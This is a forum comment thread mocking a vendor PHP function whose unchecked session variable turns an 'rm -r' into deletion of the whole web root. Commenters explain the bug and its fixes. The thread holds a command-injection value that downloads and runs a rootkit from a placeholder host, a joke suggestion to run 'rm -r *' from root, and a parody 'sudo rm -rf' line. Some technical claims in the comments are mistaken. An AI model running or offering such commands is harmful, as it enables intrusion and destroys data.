Comment On The Terminate()or

Edward Pearson's company needed a comprehensive sales management platform to manage everything from point of sale transactions to past-due letter templates. Because such a system would be far too complex and expensive to develop in-house, they decided to purchase an already-developed product. Finding this application wasn't easy, but after months of searching and evaluating, they found three strong vendors, each with a solid product, a good reputation, and a strong support plan. There was only one problem: they all were expensive (like, $50,000 expensive). [expand full text]
« PrevPage 1 | Page 2 | Page 3Next »

Re: The Terminate()or

2006-06-23 14:09 • by It's a Feature

It's not a bug--it's a feature.


Yes, that qualifies as accidental deletion.

Re: The Terminate()or

2006-06-23 14:09 • by Ibiwan
"oops"

Re: The Terminate()or

2006-06-23 14:10 • by snoofle
78854 in reply to 78852

niiiiiiiiiiiiiiiiiiiiiice :)


So this is why we get file-not-found ?

Re: The Terminate()or

2006-06-23 14:11 • by Volmarias
Whoops. Really stupid to not have actually checked for this, but I wouldn't call it an absolute WTF.

Re: The Terminate()or

2006-06-23 14:15 • by JS
I guess he has a point: it really is hack-proof if there are no files for anyone to hack.

Re: The Terminate()or

2006-06-23 14:17 • by Nimrand
78857 in reply to 78856

Anonymous:
I guess he has a point: it really is hack-proof if there are no files for anyone to hack.


LMAO

Re: The Terminate()or

2006-06-23 14:18 • by Disgruntled DBA
Alex Papadimoulis:
System is hack-proof, could not be deleted by intrudor. Probably, FTP name is open or guessed; suggest, you secure this with strong passwords. Also, maybe acceidental deleted.


Is that the entire e-mail from the support group*?  Was the subject line "All your base..."?



* By group, I mean the summer intern.... And by summer intern, I mean the manager's son's friend's cousin's friend's 13 year old brother.

Re: The Terminate()or

2006-06-23 14:19 • by rob_squared
See, this is an enabling technology for that on-the-go hacker who doesn't have time to guess passwords or scan for vulnerabilities.

Of course the reall WTF is the "in the family" mentality.  Its happened to me.  At a job I worked they made a custodian an assistant system tech because he was a friend of someone in management.

Re: The Terminate()or

2006-06-23 14:19 • by R.Flowers
The code may have been uncommented, but it was self-documenting. The terminate() function really lived up to its name.

Personally, I buy all my custom-built apps through my drug dealer's brother.

Re: The Terminate()or

2006-06-23 14:22 • by Phil
Well, you get what you pay for, now don't you!  That said, the $50,000 solutions would probably have broken in a more obscure manner...

I'm most curious about the statement "system is hack-proof".  Very little in the world is, though the vendor's sales channel (a friend of a cousin of a friend of the son of the manager) assures a pretty small target for hackers provided all the other server things (like web server, ftp server, etc) are configured correctly!

Probably one or two fewer users of this application than Windows...

Re: The Terminate()or

2006-06-23 14:23 • by sammybaby
Alex Papadimoulis:

A few days later (long after the site was restored from back-up), the vendor replied:


System is hack-proof, could not be deleted by intrudor. Probably, FTP name is open or guessed; suggest, you secure this with strong passwords. Also, maybe acceidental deleted.


 


So? The vendor was right: the site was, indeed, accidental [sic] deleted.

Re: The Terminate()or

2006-06-23 14:25 • by Mark H
This is the best WTF I've ever seen here. I think we could safely stop here and just say, "now we've seen everything."

A bug that erases everything in the www directory? Unconditionally? I was having a pretty crappy day until I read this. Thank you

Re: The Terminate()or

2006-06-23 14:26 • by snoofle
78867 in reply to 78863
function terminate() {

exec("rm -r /var/public_www/$_SESSION['Tempfile']");
}

I'm not a web person - can someone please explain why, upon the session timing out, this would delete all the files as opposed to just the temp files?

Also, just guessing here, but why would someone put temp files in the same directory as the web pages? Wouldn't a (sensible) person put them in a temp directory?


[edit] Oh my dear Lord - someone just explained it to me - yikes!

Re: The Terminate()or

2006-06-23 14:27 • by Colin
Why would you a) store temp files in something other than a /tmp like
location (let alone with valid data) and b) do a blind "rm -r"? 
If only you could get the temp file changed to "../../" ...

Re: The Terminate()or

2006-06-23 14:29 • by Colin
78869 in reply to 78867
snoofle:
function terminate() {
exec("rm -r /var/public_www/$_SESSION['Tempfile']");
}

I'm not a web person - can someone please explain why, upon the
session timing out, this would delete all the files as opposed to just
the temp files?





In PHP if a variable doesn't exist then it considers it NULL. 
Therefore any use of $_SESSION on an empty session would result in a
NULL value ($_SESSION['Tempfile'] in particular) leaving "rm -r
/var/public_www/" to be executed since NULL translates to "" in a
string.

Re: The Terminate()or

2006-06-23 14:31 • by Shizzle
78871 in reply to 78867
snoofle:
function terminate() {

exec("rm -r /var/public_www/$_SESSION['Tempfile']");
}

I'm not a web person - can someone please explain why, upon the session timing out, this would delete all the files as opposed to just the temp files?

Also, just guessing here, but why would someone put temp files in the same directory as the web pages? Wouldn't a (sensible) person put them in a temp directory?


When the user's session times out, all the variables stored in that session go bye-bye.  When this happens, $_SESSION['TempFile'] evaluates to an empty string, thus making the command executed:
 
"rm -r /var/public_www/"

Which then deletes everything in that directory, with a handy -r to take care of all subdirectories recursively.

Re: The Terminate()or

2006-06-23 14:31 • by snoofle
78873 in reply to 78869
Anonymous:
snoofle:
function terminate() {
exec("rm -r /var/public_www/$_SESSION['Tempfile']");
}

I'm not a web person - can someone please explain why, upon the session timing out, this would delete all the files as opposed to just the temp files?



In PHP if a variable doesn't exist then it considers it NULL.  Therefore any use of $_SESSION on an empty session would result in a NULL value ($_SESSION['Tempfile'] in particular) leaving "rm -r /var/public_www/" to be executed since NULL translates to "" in a string.


That's exactly what someone looking over my shoulder just said too - too bad they never heard of /tmp - thanks!

Re: The Terminate()or

2006-06-23 14:33 • by Shizzle
78876 in reply to 78868
Anonymous:
Why would you a) store temp files in something other than a /tmp like
location (let alone with valid data) and b) do a blind "rm -r"? 
If only you could get the temp file changed to "../../" ...

WTF! You are not allowed to ask sensible questions here!

CAPTCHA : chocobot!?!?!?!?!

Re: The Terminate()or

2006-06-23 14:34 • by OneFactor
Alex Papadimoulis:

function terminate() {
  exec("rm -r /var/public_www/$_SESSION['Tempfile']");
}


Oh wow, best WTF in a long time! I love that "light-bulb" moment that begins with looking at a code snippet and thinking "hmm... what is going on here?" and moves within seconds to "OMFG, that means that..."


I wonder if the Session variable was named Sarah Connor...


"You're all dead... judgment day, your session will expire and the machines will rise"


John Connor: Did you terminate all those files?
Terminator: Esta la Vista, baby.
John Connor: You can't just go around removing files and killing processes
Terminator: Why not?
John Connor: You just... can't, now no more killing, got it?
Terminator: Affirmative, I'll be back... ing up the hard drives from now on.

Re: The Terminate()or

2006-06-23 14:36 • by merreborn
78878 in reply to 78869
As stupid as this function and directory layout are to begin with, the addition of one line probably would have completely prevented this.

function terminate() {
if(!empty($_SESSION['Tempfile']))
exec("rm -r /var/public_www/$_SESSION['Tempfile']");
}


P.S. -- looks like an anonymization error. I'm pretty sure
"$_SESSION['Tempfile']" ALWAYS evaluates to "", while "$_SESSION[Tempfile]" can actually return data -- IIRC, PHP doesn't like it when you single quote array indices in a double quoted string.

Re: The Terminate()or

2006-06-23 14:37 • by JoeBloggs
78880 in reply to 78855
Volmarias:
Whoops. Really stupid to not have actually checked for this, but I wouldn't call it an absolute WTF.


As far as I'm concerned, *any time* you do an "rm -r" from code, it's a WTF.

Re: The Terminate()or

2006-06-23 14:40 • by radiantmatrix
78881 in reply to 78867
I'm not a web person - can someone please explain why, upon the session
timing out, this would delete all the files as opposed to just the temp
files?


I know someone explained it to you, but for the record:

If the session expires, the array element
$_SESSION['Tempfile']
will be empty.  That means the result of the expression passed to
exec()
will be:

rm -r /var/public_www/


The sad thing is this could have been avoided with a simple
if ( defined($_SESSION['Template']) )
...

Re: The Terminate()or

2006-06-23 14:41 • by tony

Sounds like someone didn't read all of the instructions before deploying the application.


Step 1: Read all Instructions


Step 2: Deploy the application


Step 3: Wait 2 days and Repeate

Re: The Terminate()or

2006-06-23 14:41 • by Chernobyl
    That is what i call a depressive application, an app with suicidal tendencies :D
   

Re: The Terminate()or

2006-06-23 14:43 • by Satanicpuppy
Anyone who is dumb enough to call "rm -r" without checking to make sure they're in the right spot is a complete idiot. You're just begging for this sort of trouble.

Even php, which is sloppy about file and directory hooks, still has enough methods that you can use...nice safe code methods, without having to resort to exec(), which has vast potential for these sorts of problems.

Also I wonder at the set file permissions...what user is php running as, and why does it have permission to delete the whole application? All you need is read and execute, except in whatever directory you're storing your session information in, and if they'd done that, the worst thign that could have happened is that when the code borked, it would have knocked out everyones sessions and not the whole application.

Re: The Terminate()or

2006-06-23 14:47 • by Saarus
Alex Papadimoulis:

System is hack-proof, could not be deleted by intrudor. Probably, FTP name is open or guessed; suggest, you secure this with strong passwords. Also, maybe acceidental deleted.

Awesome.
Alex Papadimoulis:


function terminate() {

exec("rm -r /var/public_www/$_SESSION['Tempfile']");
}



Not proof against this hack!

Re: The Terminate()or

2006-06-23 14:47 • by Bus Raker
78887 in reply to 78855

Volmarias:
Whoops. Really stupid to not have actually checked for this, but I wouldn't call it an absolute WTF.


I would disagree .. i really wonder if they had other web apps there with the same code, or was this their first one?


I'm really impressed it worked as well as described.  Well, we'll see in 2038 if that's the case.

Re: The Terminate()or

2006-06-23 14:47 • by snoofle
78888 in reply to 78884

Satanicpuppy:
Anyone who is dumb enough to call "rm -r" without checking to make sure they're in the right spot is a complete idiot. You're just begging for this sort of trouble.

Even php, which is sloppy about file and directory hooks, still has enough methods that you can use...nice safe code methods, without having to resort to exec(), which has vast potential for these sorts of problems.

Also I wonder at the set file permissions...what user is php running as, and why does it have permission to delete the whole application? All you need is read and execute, except in whatever directory you're storing your session information in, and if they'd done that, the worst thign that could have happened is that when the code borked, it would have knocked out everyones sessions and not the whole application.


As above, I'm not a web person, but (sadly) most of the applications that I've inherited in the Unix world ran as root whether there was a good reason or not. If I tried to explain that this wasn't prudent, I'd invariably get back "it's working, leave it alone". Seems like the folks who design these things up front are too lazy to deal with privilege issues and setting up non-root users.


edit: imagine if they'd done something like this:

function terminate() {

exec("rm -r $_SESSION['VarPublicWwwDir']/$_SESSION['Tempfile']");
}

Re: The Terminate()or

2006-06-23 14:54 • by Saarus
78889 in reply to 78878
merreborn:
IIRC, PHP doesn't like it when you single quote array indices in a double quoted string.


When strings are used as array indices, array elements can be interpolated (when using single quotes) quite nicely like so:
$_mystring = "The array index value is {$_arr['index_one']}";

Re: The Terminate()or

2006-06-23 14:55 • by merreborn
78890 in reply to 78881
Anonymous:

The sad thing is this could have been avoided with a simple
if ( defined($_SESSION['Template']) )
...


defined() only works for constants defined using define().  It's not for use on variables.

http://www.php.net/manual/en/function.defined.php

!empty() is closer to what you're looking for.

There are cases in which your if() clause would return true, but they're not the right ones.

Re: The Terminate()or

2006-06-23 14:59 • by merreborn
78891 in reply to 78889
Saarus:
merreborn:
IIRC, PHP doesn't like it when you single quote array indices in a double quoted string.


When strings are used as array indices, array elements can be interpolated (when using single quotes) quite nicely like so:
$_mystring = "The array index value is {$_arr['index_one']}";


You're right.  It works if you add the curly braces.



The following works great:
$_mystring = "The array index value is {$_arr['index_one']}";

As does the following:
$_mystring = "The array index value is $_arr[index_one]";

The following dies with a fatal error (this is pretty much what alex posted):
$_mystring = "The array index value is $_arr['index_one']";



As such, the code alex posted is pretty clearly wrong, until he adds braces ;)

Re: The Terminate()or

2006-06-23 14:59 • by Mark H
78892 in reply to 78867
snoofle:
function terminate() {

exec("rm -r /var/public_www/$_SESSION['Tempfile']");
}

I'm not a web person - can someone please explain why, upon the session timing out, this would delete all the files as opposed to just the temp files?

$_SESSION is an associative array (aka Dictionary). When the session times out, things like 'Tempfile' are no longer defined. (PHP has an unset() function that undefines a reference.) But when PHP sees an undeclared reference, it doesn't error out -- instead it substitutes '' (a blank string) if the reference occurs within a string. So now the user is executing

rm -r /var/public_www/

As you might imagine, this behavior makes PHP very dangerous in the hands of an idiot.

Also, just guessing here, but why would someone put temp files in the same directory as the web pages? Wouldn't a (sensible) person put them in a temp
directory?


You claim not to be a web person, but you have more common sense than most of the ones I've met. There's no reason to mix temp files with permanent files. In fact, putting temp files ANYWHERE in the public www directory is a terrible idea, because now anybody on the web can look at those session files. (So much for hacker-proof...) It IS a good idea to not use /tmp if you're on a shared server, because you can't control what happens in /tmp if you're not root, but you can be reasonably assured to have control of your home directory, so put it here: ~/tmp.

Re: The Terminate()or

2006-06-23 15:02 • by Still A Lurker
Quote:
---------
function
terminate() {
exec("rm -r /var/public_www/$_SESSION['Tempfile']");
}
---------


I'm pretty sure this won't work..."rm -r" SHOULD prompt for confirmation...now "rm -rf" on the other hand...

captcha = (<

Re: The Terminate()or

2006-06-23 15:06 • by Mark H
78894 in reply to 78884
Satanicpuppy:
Anyone who is dumb enough to call "rm -r" without checking to make sure they're in the right spot is a complete idiot. You're just begging for this sort of trouble.


As somebody else said, calling rm -r is just plain wrong, even if you know exactly where you are. Calling exec or system in the first place is almost always a bad idea...really they're only useful for making quick hacks, not for writing good code.

Furthermore, sessions are stored as files, right, not nested directory structures. So why -r? As I rethink this WTF, I'm starting to think it wasn't an accident.

Re: The Terminate()or

2006-06-23 15:12 • by Scott
78895 in reply to 78893
By default rm -r WILL blast everything. Chances are the shells you usually work in have rm -i aliased to rm.

Example: log in to your account and do the following:

unalias rm
cd /
rm -r *

and you will prove my point.  ( o _ O )

Re: The Terminate()or

2006-06-23 15:15 • by rycamor
This is wrong on so many levels...

1. Since when does anyone run a webserver in which the HTTP process has permission over the contents of the document root, anyway?

2. Oh wait... they had to do that in order to allow PHP to create tempfiles IN THE DOCUMENT ROOT.

3. "rm -r"? If it is a tempfile, there is no need for "-r".

4. $_SESSION["Tempfile"]? A session IS a tempfile, and it exists as a unique hash-named file in /tmp. Just save values into the session!!!

5. I wonder if $_SESSION["Tempfile"] is a user-created name. Imagine the possibilities...

Re: The Terminate()or

2006-06-23 15:25 • by Henrique
78898 in reply to 78895
I believe rm special-cases / and always asks for confirmation in that case.  I haven't tested, though.

Re: The Terminate()or

2006-06-23 15:37 • by viraptor
Nice thing is, that argument is not in quotes...
How can I change $_SESSION['Tempfile'] to "somefile /"? ;)

Re: The Terminate()or

2006-06-23 15:49 • by Anonymoose
78904 in reply to 78901
viraptor:
Nice thing is, that argument is not in quotes...
How can I change $_SESSION['Tempfile'] to "somefile /"? ;)




You're not thinking big enough!  The semicolon is used to separate shell commands.

So, how can I change $_SESSION['Tempfile'] to the following:



; wget http://hostname/rootkit.sh ; chmod u+x rootkit.sh ; ./rootkit.sh



Oh wait, I forgot, the system is HACKPROOF.

Re: The Terminate()or

2006-06-23 15:54 • by Marvin Runyon
78905 in reply to 78898
Anonymous:
I believe rm special-cases / and always asks for confirmation in that case.  I haven't tested, though.


It does not, and yes I have tested this.

Re: The Terminate()or

2006-06-23 15:54 • by DZ-Jay
Alex Papadimoulis:
function terminate() {

exec("rm -r /var/public_www/$_SESSION['Tempfile']");
}


The $50,000 solution from the competing vendors:

/* Delete the user's temp directory             */
/* The user's path comes from the querystring */
/* which is set by the application, so its */
/* hacker-proof. */
/* */
/* NOTE: Remember to test this in the future */
/* for security issues, but I don't have */
/* time right now. */
function
terminate() {
exec("sudo rm -rf /$QUERYSTRING['user_path']");
}

Re: The Terminate()or

2006-06-23 15:56 • by sadfsfdsdfasdfasfd
78907 in reply to 78904
This would have been solved if you just called it:

 

function terminate(DO_NOT_PUT_ANYTHING_IN_HERE_EVER)

Re: The Terminate()or

2006-06-23 15:58 • by DZ-Jay
78909 in reply to 78867
snoofle:
function terminate() {

exec("rm -r /var/public_www/$_SESSION['Tempfile']");
}

I'm not a web person - can someone please explain why, upon the session timing out, this would delete all the files as opposed to just the temp files?

Because when the session expires, the session object is destroyed, so $_SESSION['Tempfile'] becomes NULL:
    rm -r /var/public_www/

snoofle:

Also, just guessing here, but why would someone put temp files in the same directory as the web pages? Wouldn't a (sensible) person put them in a temp directory?


I think you answered your own question there.

    -dZ.

Re: The Terminate()or

2006-06-23 15:58 • by JReese
Sometimes I secretly wish the creator of my current project would have made this same mistake, except then we'd still have backups to go from... :'(

Re: The Terminate()or

2006-06-23 15:59 • by mo
78912 in reply to 78878
I think that still leaves a race condition doesn't it?

The fix would be to evaluate the expression and assign it to a variable. Then your guard condition can be used and the delete safely executed if needed.

It seems kind of funny to have $_SESSION magically become null. How about leaving it as a valid variable but one with sane behavior? You know, better life cycle management?

Re: The Terminate()or

2006-06-23 16:00 • by Otto
78913 in reply to 78904
Anonymoose:
You're not thinking big enough!  The semicolon is used to separate shell commands.

So, how can I change $_SESSION['Tempfile'] to the following:



; wget http://hostname/rootkit.sh ; chmod u+x rootkit.sh ; ./rootkit.sh



Oh wait, I forgot, the system is HACKPROOF.

Sessions are supported in several web-enabled lanaguges now. Basically it's a way to take a bunch of variables, group them together, and save them to disk or some other space that lives longer than the current connection. This group is called a session, it's assigned an identifier of some sort, and that identifier is sent back to the browser as a cookie. Thus, when the user hits the next link or what have you, the cookie is sent back and the session variables can then be reloaded from that identifier. Identifiers are generally long enough to be reasonably sure of uniqueness. So it's a way to persist data across multiple pages without having to send it to the client and back.

So, my point is that session variables are not normally subject to change, since they're not
sent over the network to the browser and back, unlike GET and POST
variables and COOKIES and such. You don't have to trust something the client sends you, other than that identifier, which is useless except to load the users own session variables, not to change them arbitrarily.

Sessions also have a lifetime for which they are valid. So I can define a session so as to last only 20 minutes from the last time it was saved, at which point it expires and can't be reloaded anymore. So as long as the user is browsing, I remember his settings, but if he walks away, he's automatically logged out so other people can't access his private information, or something to that effect. Kind of like a keep-alive, but without the actual CPU or network cycles needed to do it.

The real WTF here is the "exec (rm..." in the first place. Use the normal file deletion functions, you shouldn't go to the shell for trivial shit like this. Going to the shell is a really easy way to accidentally introduce security risks. There should be an IQ test before allowing programmers to use functions like exec.

Re: The Terminate()or

2006-06-23 16:03 • by SilverDirk
78914 in reply to 78896
They called it tempfile, but they could easily have gone from needing a temp file to needing a temp directory. Going back and changing "fields" implemented as map entries is rather error-prone, and I myself wouldn't really want to try a global replace on the "field" name, for fear of bugs.

It isn't unreasonable to think that they have a full directory of stuff, like a cache of generated pages or PDFs and etc. If they put this dir in the www root, then we can expect they wanted to let the user browse it, or at least let the browser view files generated in this directory.

Also, a web session is not a tempfile... its a set of named attribute strings that get passed back and forth between the browser and the server in a stateless design, or held by the server (which may write them to a file, but could use any method) in a stateful one.

Re: The Terminate()or

2006-06-23 16:03 • by tster
78915 in reply to 78881
Anonymous:
I'm not a web person - can someone please explain why, upon the session
timing out, this would delete all the files as opposed to just the temp
files?


I know someone explained it to you, but for the record:

If the session expires, the array element
$_SESSION['Tempfile']
will be empty.  That means the result of the expression passed to
exec()
will be:

rm -r /var/public_www/


The sad thing is this could have been avoided with a simple
if ( defined($_SESSION['Template']) )
...


That would introduce a race condition.  if it tested that at 24 minutes 59.99 seconds then the session expired and interupt was sent and session became undefined the same thing is going to happen.  granted there is a very small chance for it to happen.  but remember, if something can go wrong, it will.

Re: The Terminate()or

2006-06-23 16:05 • by DZ-Jay
78917 in reply to 78881
Anonymous:

The sad thing is this could have been avoided with a simple
if ( defined($_SESSION['Template']) )
...


Hum...

Nuclear Plant Technician:  Sir, the cores are melting, and the plant is about to explode...
Nuclear Plant Manager:  Why? What happened?
Nuclear Plant Technician: You know that big red button that says "Press here for nuclear holocaust"? Well, Bob here pressed it.
Nuclear Plant Manager:  Good one, Bob!  And to think that this whole thing could have been avoided by putting up a sign right next to it that says "unless you're really really sure".

    -dZ.

Re: The Terminate()or

2006-06-23 16:10 • by Otto
78919 in reply to 78915
tster:
Anonymous:
The sad thing is this could have been avoided with a simple
if ( defined($_SESSION['Template']) )
...


That would introduce a race condition.  if it tested that at 24 minutes 59.99 seconds then the session expired and interupt was sent and session became undefined the same thing is going to happen.  granted there is a very small chance for it to happen.  but remember, if something can go wrong, it will.

Not that I'm supporting the use of code such as that, but no, that would not introduce a race condition. The session variables are loaded when session_start is called early on in the PHP code. That's where the _SESSION global gets defined, and where expiration times are checked. After session_start, then it's loaded and it cannot expire.

« PrevPage 1 | Page 2 | Page 3Next »

Add Comment